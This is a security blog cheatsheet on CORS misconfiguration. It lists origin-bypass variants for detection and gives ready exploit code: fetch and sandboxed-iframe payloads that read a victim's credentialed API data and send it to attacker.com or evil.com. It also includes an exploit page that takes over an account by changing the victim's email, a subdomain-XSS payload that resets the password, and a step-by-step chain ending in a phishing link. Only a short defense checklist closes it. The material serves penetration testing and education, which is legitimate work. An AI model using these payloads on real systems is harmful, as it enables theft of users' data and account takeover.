CORS Misconfiguration Cheatsheet: Detection, Exploitation & Bypass | Tağmaç - root@Tagoletta:~#

CORS Misconfiguration Cheatsheet: Detection, Exploitation & Bypass

Thu May 28 2026

Category: Cheatsheet


Understanding CORS

# Browser sends preflight:
OPTIONS /api/sensitive HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: GET

# Vulnerable server reflects any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com   ← reflected!
Access-Control-Allow-Credentials: true              ← + credentials = critical

For CORS to be exploitable:

  1. Access-Control-Allow-Origin reflects attacker's origin OR is *
  2. Access-Control-Allow-Credentials: true (required for cookies/auth)

Detection

# Test if origin is reflected
curl -s -I https://target.com/api/user \
  -H "Origin: https://attacker.com" \
  -H "Cookie: session=victim_token" \
  | grep -i "access-control"

# Variations to test:
Origin: https://attacker.com
Origin: https://attacker.com.target.com    (suffix match bypass)
Origin: https://targetattacker.com         (prefix match bypass)
Origin: null
Origin: https://target.com.evil.com
Origin: http://target.com                  (http→https confusion)
Origin: https://sub.attacker.com           (if sub.target.com trusted)

Misconfiguration Types

Type 1: Origin Reflection

Server reflects any Origin back:

Request:  Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
          Access-Control-Allow-Credentials: true

Exploit:

// Host on evil.com
fetch('https://target.com/api/account', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  fetch('https://attacker.com/log?d=' + JSON.stringify(data))
})

Type 2: Null Origin Trust

Server trusts Origin: null:

Request:  Origin: null
Response: Access-Control-Allow-Origin: null
          Access-Control-Allow-Credentials: true

null origin comes from sandboxed iframes:

<!-- Host on attacker.com — null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://target.com/api/account', {credentials: 'include'})
  .then(r => r.text())
  .then(d => fetch('https://attacker.com/steal?d=' + encodeURIComponent(d)))
</script>">
</iframe>

Type 3: Subdomain Trust

Server trusts *.target.com:

# If target.com trusts any subdomain:
Origin: https://xss.target.com
Origin: https://attacker.target.com

Exploit chain: Find XSS on any subdomain → use it to make credentialed CORS request to main app.

// On xss.target.com (via stored XSS):
fetch('https://api.target.com/account/settings', {credentials: 'include'})
  .then(r => r.json())
  .then(data => new Image().src = 'https://attacker.com/?d=' + btoa(JSON.stringify(data)))

Type 4: Weak Regex Bypass

# Server regex: ^https?://target\.com
Origin: https://target.com.attacker.com   ← passes regex! (appended after)
Origin: https://evil-target.com           ← fails
Origin: https://attackertarget.com        ← may pass if regex: target\.com$

# Common regex mistakes
/^https:\/\/.*target\.com$/   ← attacker-target.com PASSES
/https:\/\/target\.com/       ← https://target.com.evil.com PASSES (no anchor)

Type 5: HTTP Protocol Confusion

# HTTPS app trusts HTTP origin:
Origin: http://target.com   (not https)
→ Access-Control-Allow-Origin: http://target.com  ← if app reflects it

Attacker on the same network can MitM HTTP origin.


Type 6: Wildcard + Credentials Conflict

# This combination is INVALID (browsers reject it):
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

# But if server sends this, some older non-browser clients accept it
# Some SSRF chains can abuse this

Full Exploit: CORS to Account Takeover

<!-- exploit.html hosted on attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Fetch victim's account data
fetch('https://target.com/api/v1/account', {
  method: 'GET',
  credentials: 'include'   // sends victim's cookies
})
.then(response => response.json())
.then(data => {
  // Step 2: Log stolen data
  var img = new Image();
  img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
  
  // Step 3: If CSRF token returned, perform account takeover
  if (data.csrf_token) {
    fetch('https://target.com/api/v1/account/change-email', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': data.csrf_token
      },
      body: JSON.stringify({email: '[email protected]'})
    })
  }
})
.catch(e => {
  // Log error for debugging
  new Image().src = 'https://attacker.com/err?e=' + encodeURIComponent(e.toString());
});
</script>
</body>
</html>

CORS Headers Reference

# Server response headers
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Origin: *                         (no credentials allowed)
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Max-Age: 86400                          (preflight cache seconds)

# Request headers sent by browser
Origin: https://requester.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

CORS vs SameSite

Even with CORS fixed, SameSite=None; Secure cookies can be sent cross-origin if CORS allows it. Combine CORS testing with SameSite analysis:

SameSite=Strict  → cookie NOT sent cross-site (CORS rarely exploitable even if misconfigured)
SameSite=Lax     → cookie sent only on top-level navigation GETs
SameSite=None    → cookie sent on ALL cross-origin requests (CORS misconfig = critical)
No SameSite      → browser default (Lax in modern browsers, None in old)

Real-World Examples

CVE / Incident Year Product Impact
Shopify CORS 2017 Shopify Partner API Origin reflection → merchant data theft → $15,000
Coinbase CORS 2018 Coinbase API Trusted subdomain + XSS → account takeover
LastPass CORS 2019 LastPass extension CORS + message passing → password vault read
HackerOne CORS 2018 HackerOne API Origin reflection in /users/ API → sensitive data
Robinhood CORS 2021 Robinhood trading API Null origin → portfolio data exposure

Example: Origin Reflection — Full Attack Chain

# Step 1: Find reflected origin
curl -s -I https://api.target.com/v1/user/profile \
  -H "Origin: https://evil.com" \
  -b "session=victim_cookie" | grep -i access-control
# Output:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# Step 2: Confirm credentials are sent
curl -s https://api.target.com/v1/user/profile \
  -H "Origin: https://evil.com" \
  -b "session=victim_cookie" | jq
# Returns victim's profile data

# Step 3: Craft exploit page (host on evil.com)
cat > index.html << 'EOF'
<script>
fetch('https://api.target.com/v1/user/profile', {credentials:'include'})
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com/steal?d='+btoa(JSON.stringify(d))))
</script>
EOF

# Step 4: Send phishing link to victim
# Victim opens evil.com → their cookies sent to api.target.com → data leaked

Example: Null Origin via Sandboxed iframe

<!-- Submit as XSS payload or host on attacker site -->
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://target.com/api/user", {credentials:"include"})
.then(r=>r.text())
.then(d=>fetch("https://attacker.com/?d="+encodeURIComponent(d)))
</script>'>
</iframe>

Example: Subdomain XSS → CORS Escalation

// XSS payload on docs.target.com (subdomain)
// api.target.com trusts *.target.com

fetch('https://api.target.com/v1/auth/token', {
  credentials: 'include'
})
.then(r => r.json())
.then(token => {
  // Use the API token to take over account
  fetch('https://api.target.com/v1/account/change-password', {
    method: 'POST',
    credentials: 'include',
    headers: {'Authorization': 'Bearer ' + token.access_token},
    body: JSON.stringify({new_password: 'Hacked123!'})
  })
})

Testing Tools

# CORScan
python3 corscanner.py -u https://target.com

# CORS-Scanner Burp Extension
# Burp Suite → Active Scan → CORS issues flagged

# Manual curl tests
for origin in https://attacker.com null http://target.com https://target.com.evil.com; do
  echo -n "$origin → "
  curl -s -I https://target.com/api/user \
    -H "Origin: $origin" -b "session=TOKEN" \
    | grep -i "access-control-allow-origin"
done

Defense Checklist

  • Whitelist specific allowed origins — never reflect arbitrary origins
  • Never combine Access-Control-Allow-Origin: * with credentials
  • Do not trust null origin unless specifically required
  • Validate the full origin including subdomain and scheme
  • Avoid trusting all subdomains unless you fully control all subdomains
  • Apply SameSite=Lax or Strict on session cookies as additional defense

References